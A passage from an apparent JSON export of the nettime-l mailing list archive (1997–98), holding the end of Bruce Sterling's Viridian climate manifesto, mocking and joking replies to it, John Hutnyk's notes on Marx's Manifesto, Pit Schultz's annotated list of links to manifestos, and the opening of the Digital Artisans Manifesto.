recycling labels,\nwashing the garbage and so on.  Better information environments can make\nthe invisible visible, however, and this can lead to a swift re-evaluation\nof previously invisible public ills.\n\nIf one had, for instance, a pair of computerized designer sunglasses that\nrevealed the unspeakable swirl of airborne combustion products over the\ntypical autobahn, it would be immediately obvious that clean air is a\nluxury. Infrasound, ultrasound and sound pollution monitors would make\nsilence a luxury.  Monitor taps with intelligent water analysis in\nreal-time would make pure water a luxury.  Lack of mutagens in one's home\nwould become a luxury.\n\nFreedom from interruption and time to think is a luxury; personal\nattention is luxury; genuine neighborhood security is also very much to be\nvalued. Social attitudes can and should be changed by the addition of\ncogent information to situations where invisible costs have long been\nsilently exported into the environment.  Make the invisible visible.  \nDon't sell warnings. Sell awareness.\n\nThe fact that we are living in an unprecedently old society, a society\ntop-heavy with the aged, offers great opportunity.  Long-term thinking is\na useful and worthwhile effort well suited to the proclivities of old\npeople.\n\nClearly if our efforts do not work for old people (a large and growing\nfraction of the G-7 populace) then they will not work at all. Old people\ntend to be generous, they sometimes have time on their hands.\nElectronically connected, garrulous oldsters might have a great deal to\noffer in the way of managing the copious unpaid scutwork of electronic\ncivil society.  We like the idea of being a radical art movement that\nspecializes in recruiting the old.\n\nIgnoring long-term consequences is something we all tend to do; but\npromulgating dangerous falsehoods for short-term economic gain is\nexceedingly wicked and stupid.  If environmental catastrophe strikes\nbecause of CO2 emissions, then organizations like the anti-Green Global\nClimate Coalition will be guilty of negligent genocide.  Nobody has ever\nbeen guilty of this novel crime before, but if it happens, it will\ncertainly be a crime of very great magnitude.  At this moment, the GCC and\ntheir political and economic allies are, at best, engaged in a risky\ngamble with the lives of billions.  If the climate spins out of control,\nthe 21st century may become a very evil place indeed.\n\nThe consequences should be faced directly. If several million people\nstarve to death because, for instance, repeated El Nino events have\ndisrupted major global harvests for years on end, then there will be a\ncatastrophe.  There will be enormous political and military pressures for\njustice and an accounting.\n\nWe surmise that the best solution in this scenario would be something like\nthe Czech lustration and the South African truth commissions.  The\ngroundwork for this process should begin now.  The alternatives are not\npromising:  a Beirut scenario of endless ulcerous and semi-contained\nsocial breakdown; a Yugoslav scenario of climate-based ethnic cleansing\nand lebensraum; a Red Terror where violent panic-stricken masses seek\nbloody vengeance against industrialism.  Most likely of all is a White\nTerror, where angry chaos in the climatically disrupted Third World is\nruthlessly put down by remote control by the G7's cybernetic military.  \nIt is very likely under this last scenario that the West's gluttonous\nconsumption habits will be studiously overlooked, and the blame laid\nentirely on the Third World's exploding populations.  (The weather's\nsavage vagaries will presumably be blamed on some handy Lysenkoist\nscapegoat such as Jews or unnatural homosexual activities.)\n\nWith the Czech lustration and the South African truth commissions, the\nlate 20th century has given us a mechanism by which societies that have\ndrifted into dysfunctional madness can be put right.  We expect no less\nfor future malefactors whose sly defense of an indefensible status quo may\nlead to the deaths of millions of people, who derived little benefit from\ntheir actions and were never given any voice in their decisions.  We\nrecommend that dossiers be compiled now, for the sake of future\ninternational courts of justice.  We think this work should be done quite\nopenly, in a spirit of civic duty.  Those who are risking the lives of\nothers should be made aware that this is one particular risk that will be\nfocussed specifically and personally on them.\n\nWhile it is politically helpful to have a polarized and personalized enemy\nclass, there is nothing particularly new about this political tactic.\nRevanchist sentiment is all very well, but survival will require a much\nlarger vision.  This must become the work of many people in many fields of\nlabor, ignoring traditional boundaries of discipline and ideology to unite\nin a single practical goal: climate.\n\nA brief sketch may help establish some parameters.\n\nHere I conclude with a set of general cultural changes that a Viridian\nmovement would likely promulgate in specific sectors of society.  For the\nsake of brevity, these suggestions come in three parts.  (Today)  is the\nsituation as it exists now.  (What We Want)  is the situation as we would\nlike to see it.  (The Trend) the way the situation will probably develop\nif it follows contemporary trends without any intelligent intervention.\n\nThe Media\n\nToday. Publishing and broadcasting cartels surrounded by a haze of poorly\nfinanced subcultural microchannels.\n\nWhat We Want. More bandwidth for civil society, multicultural variety, and\nbetter-designed systems of popular many-to-many communication, in multiple\nlanguages through multiple channels.\n\nThe Trend. A spy-heavy, commercial Internet.  A Yankee entertainment\ncomplex that entirely obliterates many non-Anglophone cultures.\n\nThe Military\n\nToday. G-7 Hegemony backed by the American military.\n\nWhat We Want. A wider and deeper majority hegemony with a military that\ncan deter adventurism, but specializes in meeting the immediate crises\nthrough civil engineering, public health and disaster relief.\n\nThe Trend. Nuclear and biological proliferation among minor powers.\n\nBusiness\n\nToday. Currency traders rule banking system by fiat; extreme instability\nin markets; capital flight but no labor mobility; unsustainable energy\nbase\n\nWhat We Want: Nonmaterial industries; vastly increased leisure; vastly\nincreased labor mobility; sustainable energy and resources\n\nThe Trend: commodity totalitarianism, crony capitalism, criminalized\nbanking systems, sweatshops\n\nIndustrial Design\n\nToday: very rapid model obsolescence, intense effort in packaging; CAD/CAM\n\nWhat We Want: intensely glamourous environmentally sound products;\nentirely new objects of entirely new materials; replacing material\nsubstance with information; a new relationship between the cybernetic and\nthe material\n\nThe Trend: two design worlds for rich and poor comsumers; a varnish on\nbarbarism\n\nGender Issues\n\nToday: more commercial work required of women; social problems exported\ninto family life as invisible costs\n\nWhat We Want: declining birth rates, declining birth defects, less work\nfor anyone, lavish support for anyone willing to drop out of industry and\nconsume less\n\nThe Trend: more women in prison; fundamentalist and ethnic-separatist\nideologies that target women specifically\n\nEntertainment\n\nToday: large-scale American special-effects spectacle supported by huge\ncasts and multi-million-dollar tie-in enterprises\n\nWhat We Want: glamour and drama; avant-garde adventurism;  a borderless\nculture industry bent on Green social engineering\n\nThe Trend: annihilation of serious culture except in a few non-Anglophone\nsocieties\n\nInternational Justice\n\nToday: dysfunctional but gamely persistent War Crimes tribunals\n\nWhat We Want: Environmental Crime tribunals\n\nThe Trend: justice for sale; intensified drug war\n\nEmployment\n\nToday: MacJobs, burn-out track, massive structural unemployment in Europe\n\nWhat We Want: Less work with no stigma; radically expanded leisure;\ncompulsory leisure for workaholics;  guaranteed support for people\nconsuming less resources; new forms of survival entirely outside the\nconventional economy\n\nThe Trend: increased class division; massive income disparity;  surplus\nflesh and virtual class\n\nEducation\n\nToday: failing public-supported schools\n\nWhat We Want: intellectual freedom, instant cheap access to information,\nbetter taste, a more advanced aesthetic, autonomous research collectives,\nlifelong education, and dignity and pleasure for the very large segment of\nthe human population who are and will forever be basically illiterate and\ninnumerate\n\nThe trend: children are raw blobs of potential revenue-generating\nmachinery; universities exist to supply middle-management\n\nPublic Health\n\nToday: general success; worrying chronic trends in AIDS, tuberculosis,\nantibiotic resistance; massive mortality in nonindustrial world\n\nWhat We Want: unprecedently healthy old people; plagues exterminated\nworldwide; sophisticated treatment of microbes; artificial food\n\nThe Trend: Massive dieback in Third World, septic poor quarantined from\nnervous rich in G-7 countries, return of 19th century sepsis, world's\nfattest and most substance-dependent populations\n\nScience\n\nToday: basic science sacrificed for immediate commercial gain; malaise in\nacademe; bureaucratic overhead in government support\n\nWhat We Want: procedural rigor, intellectual honesty, reproducible\nresults; peer review, block grants, massively increased research funding,\nmassively reduced procedural overhead; genius grants; single-author\npapers; abandonment of passive construction and the third person plural;\n\"Science\" reformed so as to lose its Platonic and crypto-Christian\nelements as the \"pure\" pursuit of disembodied male minds; armistice in\nScience wars\n \nThe Trend: \"Big Science\" dwindles into short-term industrial research or\nmilitary applications; \"scientists\" as a class forced to share imperilled,\nmarginal condition of English professors and French deconstructionists.\n\nI would like to conclude by suggesting some specific areas for immediate\nartistic work.  I see these as crying public needs that should be met by\nbravura displays of raw ingenuity.\n\nBut there isn't time for that.  Not just yet.\n\nBruce Sterling (bruces {AT} well.com)\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00098.html",
                "list": "nettime_l",
                "author_name": "Bruce Sterling",
                "subject": "<nettime> The Manifesto of January 3, 2000",
                "from": "Bruce Sterling <bruces {AT} well.com>",
                "follow-up": [
                    {
                        "from": "Nicolas <nicolas {AT} etoy.com>",
                        "content": "\nI'd still like to see opportunities for non-Y2K compliant art realized. \n\nRunning on certified non-compliant ....ware (may be cheap next year), with\nnon-compliant power supply, transport with non-compliant swissair 111\nplanes and criticised in non-compliant cnn-hurricane media. \n\nIt is a pity that we cannot put our system into the hands of external\nconsultants. Keep the faith ! Finding a way to fix it is really too\ncomplicated. \n\nMake a backup and reinstall your website at a Y2K compliant provider on\nJan 3rd,2000 if it need be. \n\nBruce Sterling wrote:\n> But there isn't time for that.  Not just yet.\n\n \n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00110",
                        "date": "Thu, 24 Sep 1998 18:44:07 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199809250701.IAA03887 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00110.html",
                        "content-type": "text/plai",
                        "author_name": "Nicolas",
                        "subject": "Re: <nettime> The Manifesto of January 3, 2000"
                    },
                    {
                        "from": "Newmedia {AT} aol.c",
                        "content": "\nBruces:\n\nBravo!  Hilarious!!  \n\nWhata joker . . . you've really done it now.  Talk about stand-up\nepistemology.  Or, rather, stand-up epidemiology!\n\nOne can only hope that your silliness becomes very widely contagious.  Silly\npeople all over the place.  Dropping like flies in a cloud of Burrough's bug-\njuice . . . from excruciatingly paralysing laughter, n'est pas?\n\nLet's see, how long has this joke been making the rounds?  30 years?  70\nyears?  H.G. Wells' \"The Open Conspiracy\" was first published in 1928.  Now,\nthat's a truly funny manifesto.  You greatly admire Wells, as I recall.  He's\nyour sci-fi inspiration-hero, right?  Yes, your \"manifesto\" does have a noble\ncomic(book)-parentage. Viridians?  Ever hear about the \"New Samurais\"?\n\n[OK, check out http://www.micro.com/~lorddev, for a few more hints on the\ncomedy behind this fascinating \"manifesto.\"  I just can't decide which Sub-\nOrder I wish to join.  Do I want to join Caitiff or Ouroboros or Oblivion,\nShadow Circle,  Arcdia or The Downward Spiral?  Mighty attractive.  Maybe I\nshould start my own Sub-Order and get on the Viridian Council.  Yum, yum.]\n\nOr, is this an the intended sequel to Kenneth Boulding's famous put-on, \"The\nReport From Iron Mountain\"?   What happens when \"Anti-War\" doesn't bang your\ngong?  I've got it . . . let's have an \"Earth Day.\"  Or, was that a \"Net Day\"?\nI forget.  Just ask the \"Invisible College\", they'll know.\n\nPanic.  Fix the world with Culture.  Social Engineer away humanity.  Social\nPsychology to the rescue.  Seduce them with glamour.  \"Gratify people's\ndesires.\"  \"Green high fashion.\"  How delicious.  How goofy.\n\nAnd, in case your appeal to saving the starving masses isn't funny enough\n(which, of course, it won't be, for the obvious reason that starving isn't\nfunny), you offer . . . power and influence.  To \"we Viridians\"!\nOuroborosians Unite!\n\nYou say, \"Also, as digital technologists, thinkers, writers, designers,\ncultural critics, und so weiter, we Viridians suspect that the rise of the\nCulture Industry is bound to increase our own immediate power and influence .\n. .\"  More power and influence than whom?  \"Vis-a-vis, say, coal mining\nexecutives\" you continue.  Brilliant satire.  \n\nEveryone knows there are no coal mining executives any more.  Pneumatic\ninterns in thong underwear have more power and influence than those long-\ndisappeared \"coal mining executives.\"  But, be careful, you might let it slip\nout.  You don't want to make getting the joke too easy, do you?  Make people\nwork for it, OK?\n\n\"Power and influence.\"  My. My.  Are you offering now-empty seats on your\n\"Viridian\" Global Business Network roundtable (which you gleefully refer to as\nthe \"Hippie Trilateral Commision\") to actual artists?  Activists?  Nettimers?\nUnd so weiters?  Hilarious.  Stand-up epidemiology.\n\nAfter the GBN's ultimate scenario-man, Peter Schwartz, leveraged himself into\nearthorbit and placed all his chips on \"The Long Boom\" (WIRED 5.07) and his\nscheme exploded in everyone's face in less than one year -- Kaboom -- what's a\njokester to do?  Admit that it was all a joke?  Tell the truth, the whole\ntruth and nothing but the truth?  No, no, no.  It's far too late for that.  \n\nHow about following Alan Arkin's famous advise?  Go serpentine!  They'll never\nbe able to hit you that way.\n\nDid Schwartz discuss global financial piracy?  No.  Did you?  No.\n\nSerpentine.  Ignore the real culprits.\n\nDid Schwartz discuss the replacement of humanity with replicants?  No.  Did\nyou?  No.\n\nSerpentine.  Ignore the real problem.\n\nDid Schwartz discuss real energy and health breakthroughs?  No.  Did you?  No.\n\nSerpentine.  Ignore the real solutions.  The human solution.\n\nPeter Lamborn Wilson's (aka Hakim Bey's) lecture last week in New York on the\norigins of shamanism was really refreshing.  And honest.  He simply wants to\nbe a Neanderthal.  Really.  He \"resembles that remark.\"  Truthfully.  The hell\nwith your blue-green \"Viridians.\"  The hell with your \"glamour.\"  The hell\nwith your software communism.  Back to the Cave!  Grrrrr!!\n\nYou want to end humanity?   You have two choices.  Take the esoteric road or\nthe exoteric road.  High road or low road?  Which one gets you to Scotland\nafore ye?\n\nEsoteric.  You can joke your way into Oblivion -- stand-up epidemiology.\nInfect 'em.  Germ 'em to death.  Meme-virus-brainblast 'em until they are so\n\"mediated\" that they don't remember what it was like to not be medicated.\nOffer 'em anything . . . especially \"power and influence.\"  Silly, silly,\nsilly.\n\nExoteric.  Or, you can tell the truth.  You really want to reduce global\nenergy-flux density?  Be honest.  Cut the CO2 crap.  If you think there are\ntoo many people, indeed, if you think we'd be better off without people at\nall, admit that you're a lleading sponsor for what you term \"negligent\ngenocide.\"  Yipes.  How about \"species-cide\"?  Humans as the only endangered\nspecies?  Now that would be honest, n'est pas?\n\nGet historic.  Get explicit.  Where did we go wrong?  How about the story\nabout when the Cro-Magnons usurped the Neanderthals.  How about that marvelous\n\"Bad Seed\" story?  Sound familiar?  Ask Peter about it.  He feels it all the\nway down to this oddly long second toe.\n\nBut, the world can only take so many PLW/HB's, right?  (Gee, Cindy, I don't\nknow about those Neanderthals.  They look, well you know, odd.)  And, the\nworld loves a good epidemiologist-comedian, right?  (He looks so human,\ndoesn't he Cindy?  Kinda cute, right?  And, so lifelike.)\n\nCongratulations.  We all needed a good laugh since Barlow hung up his\nkeyboard.  Silly, silly, silly.\n\nBest,\n\nMark Stahlman\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00163",
                        "date": "Tue, 29 Sep 1998 13:57:53 EDT",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199809291903.UAA28659 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00163.html",
                        "content-type": "text/plai",
                        "author_name": "Newmedia",
                        "subject": "Re: <nettime> The Manifesto of January 3, 2000"
                    }
                ],
                "message-id": "199809240735.IAA22980 {AT} basis.Desk.nl",
                "date": "Wed, 23 Sep 1998 10:54:04 -0700 (PDT)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Hutnyk <John.Hutnyk {AT} urz.uni-heidelberg.de>",
                "content": "\n\nHi\n\nLooking back over the last months mail, there's no evidence that you all\ngot the email below on Manifesto-isms (admittedly a little bit\nbible-istic in terms of what did 'Old Beardo' really say, but hey...) Or\ndid you already get it?\n\nps. I notice that the despite the Ringitt crisis in Malaysia PM Mahathir\nis not delaying the airport development, which is an integral part of\nthe MultiScience Corridor (discused briefly on this list), at least in\nterms of attractive profitability for R+D concerns that might want to\nlocate there. However the CyberJaya (electronic Government - whatever\nthat is) part of the project has been stalled.\n\nJohn Hutnyk\nHeidelberg\n--------------0235B73E4E59306A5133E588\nContent-Type: message/rfc822\nContent-Transfer-Encoding: 7bit\nContent-Disposition: inline\n\nMessage-ID: <33FDF93B.74CDA86D {AT} urz.uni-heidelberg.de>\nDate: Fri, 22 Aug 1997 22:40:27 +0200\nFrom: John Hutnyk <John.Hutnyk {AT} urz.uni-heidelberg.de>\nOrganization: University of Heidelberg\nX-Mailer: Mozilla 4.01 [en] (Win95; I)\nMIME-Version: 1.0\nTo: nettime-owner <nettime-owner {AT} is.in-berlin.de>\nSubject: On Manifestos - Hutnyk\nX-Priority: 3 (Normal)\nContent-Type: text/plain; charset=us-ascii\nContent-Transfer-Encoding: 7bit\n\nNotes On Manifesto-ism\n\nOn technology, its always already there in *the* Manifesto:\n\nSeems to me that its worth remembering some interesting correspondences:\n\nThe Manifesto - (1847 version, refuse all imitations) - is proliferating\non this auspicious anniversary. May there be 100, 1000 10,000\nmanifestos, but let us remember the point is not to manifest, but to\nchange the world.\n\nSo, one hundred and fifty years ago in France Marx published 'The\nPoverty of Philosophy', and although this work has always been eclipsed\nby another text written that same year, it is worth consulting and is as\nmuch deserving of reprint as the Manifesto (which has been released\nagain by at least six different publishers - both texts can be readily\naccessed via the world wide web).\n\n[I note with some amusement another correspondence: that the typewriter\nwas invented in the same year as that other great piece of 19th century\ntechnology 'Das Kapital' - 1867. (Gayatri Spivak made a similar point\nabout the ticker tape machine)].\n\nMarx and Engels did write in the COM.MANIFEST about the bourgeoisie\nrapidly expanding the means of communication...\n\n'The bourgeoisie, by the rapid improvement of all the instruments of\nproduction, by the *immensely facilitated means of communications*,\ndraws all, even the most barbarian nations into civilization. The cheap\nprices of its commodities are the heavy artillery with which it batters\ndown all Chinese walls, with which it forces the barbarians' intensely\nobstinate hatred of foreigners to capitulate. It compels all nations, on\npain of extinction, to adopt the bourgeois mode of production; it\ncompels them to introduce what it calls civilization into their midst,\ni.e., to become bourgeois themselves. In a word, it creates a world\nafter its own image' (Marx and Engels 1847/1952: 47)\n\nInterestingly, the 'immensely facilitated' means of communications of\nthe English translation might also be rendered with a stronger\naffirmation when translated as 'infinite release' - the 'unendlich\nerleichterten' (Marx and Engels 1847/1970: 47) suggests also the release\nof a never-ending opening of communications that already anticipates the\ncontinually developing communications environment characteristic of the\ninformation order today.\n\nWhaddayareckon?\n\nJohn Hutnyk\n\nREfs (as in referee??):\nMarx. Karl and Engels, Fred 1847/1952 Manifesto of the Communist Party,\nProgress Press, Moscow.\n \nMarx, Karl and Engels, Frederick 1847/1970 Manifest der Kommunistischen\nPartei, Dietz Verlag Berlin.\n\nMarx, Karl 1847 The Poverty of Philosophy\n\nSpivak 1997 The Spivak Reader, Routledge.\n\n\n\n-- \n\n\n******************************************\nDr John Hutnyk\n\nEuropean Science Foundation Research Fellow\nUniversity of Heidelberg\nMail: Schiffgasse 4\n69117 Heidelberg\nGermany\n\n\n--------------0235B73E4E59306A5133E588--\n\n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "id": "00031",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9709/msg00031.html",
                "to": "\"nettime-l {AT} Desk.nl\" <nettime-l {AT} Desk.nl>",
                "message-id": "199709151933.UAA02508 {AT} basis.Desk.nl",
                "date": "Sat, 13 Sep 1997 21:34:55 +0200",
                "list": "nettime_l",
                "author_name": "Hutnyk",
                "subject": "<nettime> on Manifestos"
            },
            {
                "from": "Pit Schultz <pit {AT} contrib.de>",
                "content": "\nT h e  D a y  o f  t h e   M a n i f e s t o e s\n\ndraft one\n\nWorkspace Documenta X Kassel - June 19, 1997\n\n\n----------------------------------------------------------------------\n\nhttp://www.altx.com/manifestos/mad.html\nTHE MAD MANIFESTO\nby Cynthia Kitchen\n\nhttp://www.emf.net/~estephen/manifesto/aum00126.html\nHigher Source Manifesto\nHeaven's Gate\n\nhttp://www.altx.com/dd/mandie.html\nthe PISS Manifesto\nby Mandie B.\n\nhttp://www.dolphinsociety.org/e26.index.htm\nDOLPHIN SOCIETY MANIFESTO\n\nhttp://www.hrc.wmin.ac.uk/campaigns/RTS/whntc.html\nWHO NEEDS THE GREAT CAR ECONOMY?\nby RECLAIM THE STREETS\n\nhttp://www.altx.com/manifestos/orphan.html\ncodes>alien\nby Orphan Drift\n\nhttp://www.factory.org/nettime/archive-1996/0460.html\nWHO NEEDS THE ART WORLD ?\nby RECLAIM NET ART!\n\nhttp://www.neoism.org/squares/y_Immediatism.html\nImmediatism: An Invisible Movement\nby anonymous\n\nhttp://www.neoism.org/squares/berndt_smile7_alienation.html\nAlienation\nby Luther Blisset\n\nhttp://www.altx.com/interzones/violet/yoga.html \nSeven Yogas for Postmoderns\nby Don Webb\n\nhttp://www.altx.com/memoriam/pomo.html#RTFToC9\nTHE A&P MANIFESTO (REMIX)\nby Mark Amerika \n\nhttp://www.unicorn.com//lib/abolition.html\nThe Abolition Of Work\nby Bob Black\n\n----------------------------------------------------------------------\n\nhttp://www.usia.gov/topical/global/women/plat.htm\nBeijing Declaration and Platform for Action\nUnited Nations Fourth World Conference on Women\nBejing, China 1995\n\nhttp://faowfs0a.fao.org/wfs/final/rd-e.htm\nTHE RIO DECLARATION ON ENVIRONMENT AND DEVELOPMENT (1992) \nThe United Nations Conference on Environment and Development\n\nhttp://www.troc.es/mercator/CMDLTXTE.HTM\nUNIVERSAL DECLARATION OF LINGUISTIC RIGHTS\n\nhttp://www.aboutwork.com/workfromhome/opportunity/\nAbout Hot Home Business - Word Processor \n\nhttp://www.codesh.org/manifest_ii.html#world\nHumanist Manifesto - World Community\n1973 by the American Humanist Association\n\nhttp://www.factory.org/nettime/archive/0422.html\nThe Universal Right of Mankind. (Jus Cosmopoliticum)\nby Immanuel Kant\n\nhttp://www.the-commons.org/einstein/ein-vall.htm#next2\nThe Valladolid Manifesto\nLifelong Learning in the Information Society:\nthe Forum International des Sciences Humaines\nand the European Commission\n\nhttp://www.sequel.net/~bayan/workshop.htm\nPeople's Conference Resolution on Heightening the Workers Struggle\nAgainst Imperialism\n\nhttp://www.ezln.org/SE-in-two-winds.html\nChiapas: The Southeast in Two Winds\nA Storm and a Prophecy by Subcommander Marcos\n\nhttp://www.pix.org/cyberLeninism/intro.htm#manifesto\nThe CyberLeninist Manifesto\nLeninism IV - Classical Leninism plus \"information wants to be free\"\n\nhttp://www.uni-tuebingen.de/uni/sii/sm/indep.htm\nA Declaration of Independence of Cyberspace\nJohn Perry Barlow\n\nhttp://www.spidome.net/haysdeclaration.html\nDeclaration of Information Interdependence\nHays, Ellis County, Kansas, USA -- An All-America City\n\nhttp://www.sics.se/~psm/kr9508-001.txt\nThe Crypto Anarchist Manifesto\nby Timothy  C.  May\n\nhttp://www.openchannel.se/cajamar.htm\nDECLARATION OF CAJAMAR, Brazil\nMedia for Citizenship in the Electronic Age:.\n\nhttp://www.cyberstation.net/~meme/cman/z/newdelhi.htm\nDeclaration of the New Delhi Symposium on New  Technologies  and\nthe Democratisation of Audiovisual Communications\n\nhttp://pespmc1.vub.ac.be/MANIFESTO.html\nAuthor: V. Turchin, C. Joslyn,\nThe Cybernetic Manifesto\n\nhttp://www.cyborganic.com/shed/notices/manifestos/manifesto.html\nWhat is Cyborganic?\nby Jenny Cool\n\nhttp://www.factory.org/nettime/archive/0156.html\nTaxonomy of EFF (and similar) as neo-liberal (fwd)\nby Paul.Treanor\n\n----------------------------------------------------------------------\n\nhttp://www.favela.org/intro/manifesto.html\nMANIFESTO FOR A VIRTUAL FAVELA\n\nhttp://www.Desk.nl/~nettime/zkp/pitstop.txt\nPit Stop Manifesto\nMorgan Garwood\n\nhttp://www.aleph.se/Trans/Intro/ideologies.txt\nTOWARD NEW IDEOLOGIES\nF.M. Esfandiary's _Optimism One_ (1970).\n\nhttp://www.primenet.com/~maxmore/extprn26.htm\nEXTROPIAN PRINCIPLES\n\nhttp://www.pathfinder.com/ {AT}  {AT} Is {AT} 8 {AT} gUAR9F3g32P/pathfinder/\nfeatures/unabomber/unifesto4.html#25\nThe Unabomber Manifesto\n\nhttp://www.ids.net/~as220/GNUManifesto.html\nGNU Manifesto\nby Richard Stallman\n\nhttp://www.lysator.liu.se/mit-guide/lame.html\nHacking Ethics\nMIT Group\n\nhttp://www.cs.iastate.edu/~koppes/futman.html\nthe manifesto of the futurist programmers\n\nhttp://www.factory.org/nettime/archive/0557.html\nTHE DIGITAL ARTISANS MANIFESTO\n\nhttp://www.spunk.org/library/anarcfem/sp001291.txt\nSCUM MANIFESTO \nby Valerie Solanas\n\n----------------------------------------------------------------------\n\nhttp://www.factory.org/nettime/archive/0467.html\nTHE PEOPLE'S COMMUNICATION CHARTER\n\nhttp://www.Desk.nl/~nettime/zkp/strategy.txt\nethical principles\nStrano, Italy\n\nhttp://www.db.nl/\nThe Dutch Digital Citizens'\nMovement (DB.NL)\n\nhttp://www.factory.org/nettime/archive/0236.html\n\"Open Internet Policy Principles\"\ndiv. Experts\n\nhttp://www.icf.de/vgrass/afa/faq.html\nXS4all FAQ: Are there already examples of Acces for All?\nVolker Grassmuck\n\nhttp://www.factory.org/nettime/archive-1996/0436.html\n'Bringing Culture Back To Resistance'\n The Media Collective (Toronto, Canada\n\nhttp://english-www.hss.cmu.edu/bs/18/Manifesto.html\nA Manifesto for\nBad Subjects in Cyberspace\n\nhttp://www.cs.cmu.edu/People/dst/Fishman/Declaration/exhibb.html\nON CONTROL AND LYING\nRon Hubbard\n\n----------------------------------------------------------------------\n\nmore manifestoes:\nhttp://www.desk.nl/~nettime/others/manifestoes.html\n\nplease add new manifestoes and send the list back to <pit {AT} icf.de>\nwe will do a pressconference-performance with two actors at \n19th of June which may get repeated another time. cu /pit\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "id": "00142",
                "list": "nettime_l",
                "date": "Tue, 17 Jun 1997 23:12:36 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "2.2.32.19970617211236.00bfc684 {AT} pop3.contrib.",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00142.html",
                "content-type": "text/plai",
                "author_name": "Pit Schultz",
                "subject": "<nettime> T h e  D a y  o f  t h e   M a n i f e s t o e s"
            },
            {
                "id": "00120",
                "content": "\n\nTHE DIGITAL ARTISANS MANIFESTO\n\nMAKING THE FUTURE\n\n1.  We are the digital artisans. We celebrate the Promethean power of our \n    labour and imagination to shape the virtual world. By hacking, coding, \n    designing and mixing, we build the wired future through our own efforts\n    and inventiveness. \n2.  We are not the passive victims of uncontrollable market forces and \n    technological changes. Without our daily work, there would be no goods or \n    services to trade. Without our animating presence, information \n    technologies would just be inert metal, plastic and silicon. Nothing can\n    happen inside cyberspace without our creative labour. We are the only\n    subjects of history. \n3.  The emergence of the Net signifies neither the final triumph of economic \n    alienation nor the replacement of humanity by machines. On the contrary, \n    the information revolution is the latest stage in the emancipatory project\n    of modernity. History is nothing but the development of human freedom.\n4.  We will shape the new information technologies in our own interests. \n    Although they were originally developed to reinforce hierarchical power, \n    the full potential of the Net and computing can only be realised through\n    our autonomous and creative labour. We will transform the machines of \n    domination into the technologies of liberation.\n5.  We will contribute to the process of democratic emancipation. As digital \n    artisans, we will come together to promote the development of our trade. \n    As citizens, we will participate within republican politics. As Europeans,\n    we will help to break down national and ethnic barriers both inside and \n    outside of our continent.\n\nTHE PRESENT MOMENT\n\n6.  Freedom today is now often just the choice between commodities rather the \n    ability to determine our own lives. Over the past two hundred years, the \n    factory system has dramatically increased our material wealth at the cost \n    of removing all meaningful participation in work. Even poorer members of \n    European societies can now live better than the kings and aristocrats of \n    earlier times. However the joys of consumerism are usually constrained by \n    the boredom of most jobs. \n7.  Since 1968, the desire for increased monetary rewards has increasingly \n    been supplemented by demands for increased autonomy at work. In the \n    European Union and elsewhere, neo-liberals have tried to recuperate these \n    aspirations through their policies of marketisation and privatisation. \n    If we are talented workers in the 'cutting-edge' industries like hypermedia\n    and computing, we are promised the possibility of becoming hip and rich\n    entrepreneurs by the Californian ideologues. They want to recruit us as\n    members of the 'virtual class' which seeks to dominate the hypermedia and\n    computing industries.\n8.  Yet these neo-liberal panaceas provide no real solutions. Free market \n    policies don't just brutalise our societies and ignore environmental \n    degradation. Above all, they cannot remove alienation within the \n    workplace. Under neoliberalism, individuals are only allowed to exercise\n    their own autonomy in deal-making rather than through making things. We\n    cannot express ourselves directly by constructing useful and beautiful\n    virtual artifacts.\n9.  For those of us who want to be truly creative in hypermedia and \n    computing, the only practical solution is to become digital artisans. The \n    rapid spread of personal computing and now the Net are the technological \n    expressions of this desire for autonomous work. Escaping from the petty \n    controls of the shopfloor and the office, we can rediscover the individual \n    independence enjoyed by craftspeople during proto-industrialism. We \n    rejoice in the privilege of becoming digital artisans.\n10. We create virtual artifacts for money and for fun. We work both in the \n    money-commodity economy and in the gift economy of the Net. When we take a \n    contract, we are happy to earn enough to pay for our necessities and \n    luxuries through our labours as digital artisans. At the same time, we \n    also enjoy exercising our abilities for our own amusement and for the \n    wider community. Whether working for money or for fun, we always take pride\n    in our craft skills. We take pleasure in pushing the cultural and technical\n    limits as far forward as possible. We are the pioneers of the modern.\n11. The revival of artisanship is not a return to a low-tech and \n    impoverished past. Skilled workers are best able to assert their autonomy \n    precisely within the most technologically advanced industries. The new \n    artisans are better educated and can earn much more money. In earlier \n    stages of modernity, factory labourers symbolised of the promise of\n    industrialism. 